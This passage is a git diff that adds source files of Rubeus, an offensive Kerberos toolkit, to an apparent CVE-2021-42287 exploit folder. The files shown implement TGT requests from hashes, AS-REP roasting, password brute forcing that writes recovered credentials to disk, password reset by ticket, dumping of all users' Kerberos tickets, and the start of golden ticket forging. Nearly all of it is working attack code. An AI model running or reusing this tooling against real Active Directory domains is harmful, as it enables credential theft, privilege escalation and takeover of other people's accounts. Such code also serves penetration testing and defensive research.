(arguments.ContainsKey("/tgs")) + { + string kirbi64 = arguments["/tgs"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + tgs = new KRB_CRED(kirbiBytes); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + tgs = new KRB_CRED(kirbiBytes); + } + else + { + Console.WriteLine("\r\n[X] /tgs:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + return; + } + + } + + // for manually specifying domain in requests + if (arguments.ContainsKey("/targetdomain")) + { + targetDomain = arguments["/targetdomain"]; + } + + if (arguments.ContainsKey("/targetuser")) + { + targetUser = arguments["/targetuser"]; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs); + return; + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs); + return; + } + else + { + Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Asktgt.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Asktgt.cs new file mode 100644 index 0000000..8cd47f1 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Asktgt.cs @@ -0,0 +1,224 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Asktgt : ICommand + { + public static string CommandName => "asktgt"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Ask TGT\r\n"); + + string user = ""; + string domain = ""; + string password = ""; + string hash = ""; + string dc = ""; + string outfile = ""; + string certificate = ""; + string servicekey = ""; + + bool ptt = false; + bool opsec = false; + bool force = false; + bool verifyCerts = false; + bool getCredentials = false; + bool pac = true; + LUID luid = new LUID(); + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; + + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified + if (arguments.ContainsKey("/enctype")) { + string encTypeString = arguments["/enctype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) { + encType = Interop.KERB_ETYPE.rc4_hmac; + } else if (encTypeString.Equals("AES128")) { + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) { + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } else if (encTypeString.Equals("DES")) { + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + } + + if (arguments.ContainsKey("/password")) + { + password = arguments["/password"]; + + string salt = String.Format("{0}{1}", domain.ToUpper(), user); + + // special case for computer account salts + if (user.EndsWith("$")) + { + salt = String.Format("{0}host{1}.{2}", domain.ToUpper(), user.TrimEnd('$').ToLower(), domain.ToLower()); + } + + hash = Crypto.KerberosPasswordHash(encType, password, salt); + } + + else if (arguments.ContainsKey("/des")) + { + hash = arguments["/des"]; + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + else if (arguments.ContainsKey("/rc4")) + { + hash = arguments["/rc4"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/ntlm")) + { + hash = arguments["/ntlm"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/aes128")) + { + hash = arguments["/aes128"]; + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (arguments.ContainsKey("/aes256")) + { + hash = arguments["/aes256"]; + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + + if (arguments.ContainsKey("/certificate")) { + certificate = arguments["/certificate"]; + + if(arguments.ContainsKey("/verifychain") || arguments.ContainsKey("/verifycerts")) + { + Console.WriteLine("[*] Verifying the entire certificate chain!\r\n"); + verifyCerts = true; + } + if (arguments.ContainsKey("/getcredentials")) + { + getCredentials = true; + } + } + + if (arguments.ContainsKey("/servicekey")) { + servicekey = arguments["/servicekey"]; + } + + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + + if (arguments.ContainsKey("/opsec")) + { + opsec = true; + if (arguments.ContainsKey("/force")) + { + force = true; + } + } + + if (arguments.ContainsKey("/nopac")) + { + pac = false; + } + + if (arguments.ContainsKey("/luid")) + { + try + { + luid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/createnetonly")) + { + // if we're starting a hidden process to apply the ticket to + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session"); + return; + } + if (arguments.ContainsKey("/show")) + { + luid = Helpers.CreateProcessNetOnly(arguments["/createnetonly"], true); + } + else + { + luid = Helpers.CreateProcessNetOnly(arguments["/createnetonly"], false); + } + Console.WriteLine(); + } + + if (String.IsNullOrEmpty(user)) + { + Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); + return; + } + if (String.IsNullOrEmpty(domain)) + { + domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + } + if (String.IsNullOrEmpty(hash) && String.IsNullOrEmpty(certificate)) + { + Console.WriteLine("\r\n[X] You must supply a /password, /certificate or a [/des|/rc4|/aes128|/aes256] hash!\r\n"); + return; + } + + bool changepw = arguments.ContainsKey("/changepw"); + + if (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))) + { + Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n"); + return; + } + else + { + if ((opsec) && (encType != Interop.KERB_ETYPE.aes256_cts_hmac_sha1) && !(force)) + { + Console.WriteLine("[X] Using /opsec but not using /enctype:aes256, to force this behaviour use /force"); + return; + } + if (String.IsNullOrEmpty(certificate)) + Ask.TGT(user, domain, hash, encType, outfile, ptt, dc, luid, true, opsec, servicekey, changepw, pac); + else + Ask.TGT(user, domain, certificate, password, encType, outfile, ptt, dc, luid, true, verifyCerts, servicekey, getCredentials); + + return; + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Asreproast.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Asreproast.cs new file mode 100644 index 0000000..b9be699 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Asreproast.cs @@ -0,0 +1,99 @@ +using System; +using System.Collections.Generic; +using System.Text.RegularExpressions; + + +namespace Rubeus.Commands +{ + public class Asreproast : ICommand + { + public static string CommandName => "asreproast"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: AS-REP roasting\r\n"); + + string user = ""; + string domain = ""; + string dc = ""; + string ou = ""; + string format = "john"; + string ldapFilter = ""; + string outFile = ""; + bool ldaps = false; + System.Net.NetworkCredential cred = null; + + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/ou")) + { + ou = arguments["/ou"]; + } + if (arguments.ContainsKey("/ldapfilter")) + { + // additional LDAP targeting filter + ldapFilter = arguments["/ldapfilter"].Trim('"').Trim('\''); + } + if (arguments.ContainsKey("/format")) + { + format = arguments["/format"]; + } + if (arguments.ContainsKey("/outfile")) + { + outFile = arguments["/outfile"]; + } + if (arguments.ContainsKey("/ldaps")) + { + ldaps = true; + } + + if (String.IsNullOrEmpty(domain)) + { + domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; + } + + if (arguments.ContainsKey("/creduser")) + { + if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase)) + { + Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); + return; + } + + string[] parts = arguments["/creduser"].Split('\\'); + string domainName = parts[0]; + string userName = parts[1]; + + if (!arguments.ContainsKey("/credpassword")) + { + Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); + return; + } + + string password = arguments["/credpassword"]; + + cred = new System.Net.NetworkCredential(userName, password, domainName); + } + Roast.ASRepRoast(domain, user, ou, dc, format, cred, outFile, ldapFilter, ldaps); + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Brute.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Brute.cs new file mode 100644 index 0000000..da23dbe --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Brute.cs @@ -0,0 +1,451 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.IO; +using System.DirectoryServices; +using System.DirectoryServices.AccountManagement; +using System.Collections; +using System.Text.RegularExpressions; +using Microsoft.Win32; + + +namespace Rubeus.Commands +{ + public class Brute : ICommand + { + public static string CommandName => "brute"; + + + private string domain = ""; + private string[] usernames = null; + private string[] passwords = null; + private string dc = ""; + private string ou = ""; + private string credUser = ""; + private string credDomain = ""; + private string credPassword = ""; + private string outfile = ""; + private uint verbose = 0; + private bool saveTickets = true; + + protected class BruteArgumentException : ArgumentException + { + public BruteArgumentException(string message) + : base(message) + { + } + } + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Perform Kerberos Brute Force\r\n"); + try + { + this.ParseArguments(arguments); + this.ObtainUsers(); + + IBruteforcerReporter consoleReporter = new BruteforceConsoleReporter( + this.outfile, this.verbose, this.saveTickets); + + Bruteforcer bruter = new Bruteforcer(this.domain, this.dc, consoleReporter); + bool success = bruter.Attack(this.usernames, this.passwords); + if (success) + { + if (!String.IsNullOrEmpty(this.outfile)) + { + Console.WriteLine("\r\n[+] Done: Credentials should be saved in \"{0}\"\r\n", this.outfile); + }else + { + Console.WriteLine("\r\n[+] Done\r\n", this.outfile); + } + } else + { + Console.WriteLine("\r\n[-] Done: No credentials were discovered :'(\r\n"); + } + } + catch (BruteArgumentException ex) + { + Console.WriteLine("\r\n" + ex.Message + "\r\n"); + } + catch (RubeusException ex) + { + Console.WriteLine("\r\n" + ex.Message + "\r\n"); + } + } + + private void ParseArguments(Dictionary arguments) + { + this.ParseDomain(arguments); + this.ParseOU(arguments); + this.ParseDC(arguments); + this.ParseCreds(arguments); + this.ParsePasswords(arguments); + this.ParseUsers(arguments); + this.ParseOutfile(arguments); + this.ParseVerbose(arguments); + this.ParseSaveTickets(arguments); + } + + private void ParseDomain(Dictionary arguments) + { + if (arguments.ContainsKey("/domain")) + { + this.domain = arguments["/domain"]; + } + else + { + this.domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; + } + } + + private void ParseOU(Dictionary arguments) + { + if (arguments.ContainsKey("/ou")) + { + this.ou = arguments["/ou"]; + } + } + + private void ParseDC(Dictionary arguments) + { + if (arguments.ContainsKey("/dc")) + { + this.dc = arguments["/dc"]; + }else + { + this.dc = this.domain; + } + } + + private void ParseCreds(Dictionary arguments) + { + if (arguments.ContainsKey("/creduser")) + { + if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase)) + { + throw new BruteArgumentException("[X] /creduser specification must be in fqdn format (domain.com\\user)"); + } + + string[] parts = arguments["/creduser"].Split('\\'); + this.credDomain = parts[0]; + this.credUser = parts[1]; + + if (!arguments.ContainsKey("/credpassword")) + { + throw new BruteArgumentException("[X] /credpassword is required when specifying /creduser"); + } + + this.credPassword = arguments["/credpassword"]; + } + + } + + private void ParsePasswords(Dictionary arguments) + { + if (arguments.ContainsKey("/passwords")) + { + try + { + this.passwords = File.ReadAllLines(arguments["/passwords"]); + }catch(FileNotFoundException) + { + throw new BruteArgumentException("[X] Unable to open passwords file \"" + arguments["/passwords"] + "\": Not found file"); + } + } + else if (arguments.ContainsKey("/password")) + { + this.passwords = new string[] { arguments["/password"] }; + } + else + { + throw new BruteArgumentException( + "[X] You must supply a password! Use /password: or /passwords:"); + } + } + + private void ParseUsers(Dictionary arguments) + { + if (arguments.ContainsKey("/users")) + { + try { + this.usernames = File.ReadAllLines(arguments["/users"]); + }catch (FileNotFoundException) + { + throw new BruteArgumentException("[X] Unable to open users file \"" + arguments["/users"] + "\": Not found file"); + } + } + else if (arguments.ContainsKey("/user")) + { + this.usernames = new string[] { arguments["/user"] }; + } + } + + private void ParseOutfile(Dictionary arguments) + { + if (arguments.ContainsKey("/outfile")) + { + this.outfile = arguments["/outfile"]; + } + } + + private void ParseVerbose(Dictionary arguments) + { + if (arguments.ContainsKey("/verbose")) + { + this.verbose = 2; + } + } + + private void ParseSaveTickets(Dictionary arguments) + { + if (arguments.ContainsKey("/noticket")) + { + this.saveTickets = false; + } + } + + private void ObtainUsers() + { + if(this.usernames == null) + { + this.usernames = this.DomainUsernames(); + } + else + { + if(this.verbose == 0) + { + this.verbose = 1; + } + } + } + + private string[] DomainUsernames() + { + + string domainController = this.DomainController(); + string bindPath = this.BindPath(domainController); + DirectoryEntry directoryObject = new DirectoryEntry(bindPath); + + if (!String.IsNullOrEmpty(this.credUser)) + { + string userDomain = String.Format("{0}\\{1}", this.credDomain, this.credUser); + + if (!this.AreCredentialsValid()) + { + throw new BruteArgumentException("[X] Credentials supplied for '" + userDomain + "' are invalid!"); + } + + directoryObject.Username = userDomain; + directoryObject.Password = this.credPassword; + + Console.WriteLine("[*] Using alternate creds : {0}\r\n", userDomain); + } + + + DirectorySearcher userSearcher = new DirectorySearcher(directoryObject); + userSearcher.Filter = "(samAccountType=805306368)"; + userSearcher.PropertiesToLoad.Add("samAccountName"); + + try + { + SearchResultCollection users = userSearcher.FindAll(); + + ArrayList usernames = new ArrayList(); + + foreach (SearchResult user in users) + { + string username = user.Properties["samAccountName"][0].ToString(); + usernames.Add(username); + } + + return usernames.Cast().Select(x => x.ToString()).ToArray(); + } catch(System.Runtime.InteropServices.COMException ex) + { + switch ((uint)ex.ErrorCode) + { + case 0x8007052E: + throw new BruteArgumentException("[X] Login error when retrieving usernames from dc \"" + domainController + "\"! Try it by providing valid /creduser and /credpassword"); + case 0x8007203A: + throw new BruteArgumentException("[X] Error connecting with the dc \"" + domainController + "\"! Make sure that provided /domain or /dc are valid"); + case 0x80072032: + throw new BruteArgumentException("[X] Invalid syntax in DN specification! Make sure that /ou is correct"); + case 0x80072030: + throw new BruteArgumentException("[X] There is no such object on the server! Make sure that /ou is correct"); + default: + throw ex; + } + } + } + + private string DomainController() + { + string domainController = null; + + + if (String.IsNullOrEmpty(this.dc)) + { + domainController = Networking.GetDCName(); + + if(domainController == "") + { + throw new BruteArgumentException("[X] Unable to find DC address! Try it by providing /domain or /dc"); + } + } + else + { + domainController = this.dc; + } + + return domainController; + } + + private string BindPath(string domainController) + { + string bindPath = String.Format("LDAP://{0}", domainController); + + if (!String.IsNullOrEmpty(this.ou)) + { + string ouPath = this.ou.Replace("ldap", "LDAP").Replace("LDAP://", ""); + bindPath = String.Format("{0}/{1}", bindPath, ouPath); + } + else if (!String.IsNullOrEmpty(this.domain)) + { + string domainPath = this.domain.Replace(".", ",DC="); + bindPath = String.Format("{0}/DC={1}", bindPath, domainPath); + } + + return bindPath; + } + + private bool AreCredentialsValid() + { + using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, this.credDomain)) + { + return pc.ValidateCredentials(this.credUser, this.credPassword); + } + } + + } + + + public class BruteforceConsoleReporter : IBruteforcerReporter + { + + private uint verbose; + private string passwordsOutfile; + private bool saveTicket; + private bool reportedBadOutputFile = false; + + public BruteforceConsoleReporter(string passwordsOutfile, uint verbose = 0, bool saveTicket = true) + { + this.verbose = verbose; + this.passwordsOutfile = passwordsOutfile; + this.saveTicket = saveTicket; + } + + public void ReportValidPassword(string domain, string username, string password, byte[] ticket, Interop.KERBEROS_ERROR err = Interop.KERBEROS_ERROR.KDC_ERR_NONE) + { + this.WriteUserPasswordToFile(username, password); + if (ticket != null) + { + Console.WriteLine("[+] STUPENDOUS => {0}:{1}", username, password); + this.HandleTicket(username, ticket); + } + else + { + Console.WriteLine("[+] UNLUCKY => {0}:{1} ({2})", username, password, err); + } + } + + public void ReportValidUser(string domain, string username) + { + if (verbose > 0) + { + Console.WriteLine("[+] Valid user => {0}", username); + } + } + + public void ReportInvalidUser(string domain, string username) + { + if (this.verbose > 1) + { + Console.WriteLine("[-] Invalid user => {0}", username); + } + } + + public void ReportBlockedUser(string domain, string username) + { + Console.WriteLine("[-] Blocked/Disabled user => {0}", username); + } + + public void ReportKrbError(string domain, string username, KRB_ERROR krbError) + { + Console.WriteLine("\r\n[X] {0} KRB-ERROR ({1}) : {2}\r\n", username, + krbError.error_code, (Interop.KERBEROS_ERROR)krbError.error_code); + } + + + private void WriteUserPasswordToFile(string username, string password) + { + if (String.IsNullOrEmpty(this.passwordsOutfile)) + { + return; + } + + string line = String.Format("{0}:{1}{2}", username, password, Environment.NewLine); + try + { + File.AppendAllText(this.passwordsOutfile, line); + }catch(UnauthorizedAccessException) + { + if (!this.reportedBadOutputFile) + { + Console.WriteLine("[X] Unable to write credentials in \"{0}\": Access denied", this.passwordsOutfile); + this.reportedBadOutputFile = true; + } + } + } + + private void HandleTicket(string username, byte[] ticket) + { + if(this.saveTicket) + { + string ticketFilename = username + ".kirbi"; + File.WriteAllBytes(ticketFilename, ticket); + Console.WriteLine("[*] Saved TGT into {0}", ticketFilename); + } + else + { + this.PrintTicketBase64(username, ticket); + } + } + + private void PrintTicketBase64(string ticketname, byte[] ticket) + { + string ticketB64 = Convert.ToBase64String(ticket); + + Console.WriteLine("[*] base64({0}.kirbi):\r\n", ticketname); + + // display in columns of 80 chararacters + if (Rubeus.Program.wrapTickets) + { + foreach (string line in Helpers.Split(ticketB64, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", ticketB64); + } + + Console.WriteLine("\r\n", ticketname); + } + + } +} + + + + diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Changepw.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Changepw.cs new file mode 100644 index 0000000..527f976 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Changepw.cs @@ -0,0 +1,68 @@ +using System; +using System.Collections.Generic; +using System.IO; + + +namespace Rubeus.Commands +{ + public class Changepw : ICommand + { + public static string CommandName => "changepw"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Reset User Password (AoratoPw)\r\n"); + + string newPassword = ""; + string dc = ""; + string targetUser = null; + + if (arguments.ContainsKey("/new")) + { + newPassword = arguments["/new"]; + } + if (String.IsNullOrEmpty(newPassword)) + { + Console.WriteLine("\r\n[X] New password must be supplied with /new:X !\r\n"); + return; + } + + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + + if (arguments.ContainsKey("/targetuser")) { + targetUser = arguments["/targetuser"]; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + Reset.UserPassword(kirbi, newPassword, dc, targetUser); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + Reset.UserPassword(kirbi, newPassword, dc, targetUser); + } + else + { + Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Createnetonly.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Createnetonly.cs new file mode 100644 index 0000000..82bc962 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Createnetonly.cs @@ -0,0 +1,61 @@ +using System; +using System.Collections.Generic; + + +namespace Rubeus.Commands +{ + public class Createnetonly : ICommand + { + public static string CommandName => "createnetonly"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Create Process (/netonly)\r\n"); + + string program = null; + string username = null; + string password = null; + string domain = null; + bool show = arguments.ContainsKey("/show"); + + if (arguments.ContainsKey("/program") && !String.IsNullOrWhiteSpace(arguments["/program"])) + { + program = arguments["/program"]; + } + else + { + Console.WriteLine("\r\n[X] A /program needs to be supplied!\r\n"); + return; + } + + if (arguments.ContainsKey("/username")) + { + username = arguments["/username"]; + } + if (arguments.ContainsKey("/password")) + { + password = arguments["/password"]; + } + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + + if (username == null && password == null && domain == null) + { + Console.WriteLine("\r\n[*] Using random username and password.\r\n"); + Helpers.CreateProcessNetOnly(program, show, username, domain, password); + return; + } + + if (!String.IsNullOrWhiteSpace(username) && !String.IsNullOrWhiteSpace(password) && !String.IsNullOrWhiteSpace(domain)) + { + Console.WriteLine("\r\n[*] Using " + domain + "\\" + username + ":" + password + "\r\n"); + Helpers.CreateProcessNetOnly(program, show, username, domain, password); + return; + } + + Console.WriteLine("\r\n[X] Explicit creds require /username, /password, and /domain to be supplied!\r\n"); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Currentluid.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Currentluid.cs new file mode 100644 index 0000000..5611e5d --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Currentluid.cs @@ -0,0 +1,20 @@ +using System; +using System.Collections.Generic; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Currentluid : ICommand + { + public static string CommandName => "currentluid"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Display current LUID\r\n"); + + LUID currentLuid = Helpers.GetCurrentLUID(); + Console.WriteLine("[*] Current LogonID (LUID) : {0} ({1})\r\n", currentLuid, (UInt64)currentLuid); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Describe.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Describe.cs new file mode 100644 index 0000000..1dbed6f --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Describe.cs @@ -0,0 +1,76 @@ +using System; +using System.Collections.Generic; +using System.IO; + + +namespace Rubeus.Commands +{ + public class Describe : ICommand + { + public static string CommandName => "describe"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Describe Ticket\r\n"); + byte[] serviceKey = null; + byte[] asrepKey = null; + byte[] krbKey = null; + string serviceUser = ""; + string serviceDomain = ""; + + + + if (arguments.ContainsKey("/servicekey")) + { + serviceKey = Helpers.StringToByteArray(arguments["/servicekey"]); + } + if (arguments.ContainsKey("/asrepkey")) + { + asrepKey = Helpers.StringToByteArray(arguments["/asrepkey"]); + } + if (arguments.ContainsKey("/krbkey")) + { + krbKey = Helpers.StringToByteArray(arguments["/krbkey"]); + } + + // for generating service ticket hash when using AES256 + if (arguments.ContainsKey("/serviceuser")) + { + serviceUser = arguments["/serviceuser"]; + } + if (arguments.ContainsKey("/servicedomain")) + { + serviceDomain = arguments["/servicedomain"]; + } + + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + LSA.DisplayTicket(kirbi, 2, false, false, true, false, serviceKey, asrepKey, serviceUser, serviceDomain, krbKey); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + LSA.DisplayTicket(kirbi, 2, false, false, true, false, serviceKey, asrepKey, serviceUser, serviceDomain, krbKey); + } + else + { + Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Dump.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Dump.cs new file mode 100644 index 0000000..9fc3ce5 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Dump.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Dump : ICommand + { + public static string CommandName => "dump"; + + public void Execute(Dictionary arguments) + { + if (Helpers.IsHighIntegrity()) + { + Console.WriteLine("\r\nAction: Dump Kerberos Ticket Data (All Users)\r\n"); + } + else + { + Console.WriteLine("\r\nAction: Dump Kerberos Ticket Data (Current User)\r\n"); + } + + LUID targetLuid = new LUID(); + string targetUser = ""; + string targetService = ""; + string targetServer = ""; + + if (arguments.ContainsKey("/luid")) + { + try + { + targetLuid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/user")) + { + targetUser = arguments["/user"]; + } + + if (arguments.ContainsKey("/service")) + { + targetService = arguments["/service"]; + } + + if (arguments.ContainsKey("/server")) + { + targetServer = arguments["/server"]; + } + + // extract out the tickets (w/ full data) with the specified targeting options + List sessionCreds = LSA.EnumerateTickets(true, targetLuid, targetService, targetUser, targetServer, true); + // display tickets with the "Full" format + LSA.DisplaySessionCreds(sessionCreds, LSA.TicketDisplayFormat.Full); + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Golden.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Golden.cs new file mode 100644 index 0000000..7d1b614 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/Commands/Golden.cs @@ -0,0 +1,437 @@ +using System; +using System.Collections.Generic; +using System.Globalization; + +namespace Rubeus.Commands +{ + public class Golden : ICommand + { + public static string CommandName => "golden"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Build TGT\r\n"); + + // variable defaults + string user = ""; + int? id = null; + string sids = ""; + string groups = ""; + string displayName = ""; + short? logonCount = null; + short? badPwdCount = null; + DateTime? lastLogon = null; + DateTime? logoffTime = null; + DateTime? pwdLastSet = null; + int? maxPassAge = null; + int? minPassAge = null; + int? pGid = null; + string homeDir = ""; + string homeDrive = ""; + string profilePath = ""; + string scriptPath = ""; + string resourceGroupSid = ""; + List resourceGroups = null; + Interop.PacUserAccountControl uac = Interop.PacUserAccountControl.NORMAL_ACCOUNT; + + string domain = ""; + string dc = ""; + string sid = ""; + string netbios = ""; + + bool ldap = false; + string ldapuser = null; + string ldappassword = null; + + string hash = ""; + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; + + Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent | Interop.TicketFlags.initial; + + DateTime startTime = DateTime.UtcNow; + DateTime authTime = startTime; + DateTime? rangeEnd = null; + string rangeInterval = "1d"; + string endTime = ""; + string renewTill = ""; + bool newPac = false; + + string outfile = ""; + bool ptt = false; + bool printcmd = false; + + // user information mostly for the PAC + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + if (arguments.ContainsKey("/sids")) + { + sids = arguments["/sids"]; + } + if (arguments.ContainsKey("/groups")) + { + groups = arguments["/groups"]; + } + if (arguments.ContainsKey("/id")) + { + id = Int32.Parse(arguments["/id"]); + } + if (arguments.ContainsKey("/pgid")) + { + pGid = 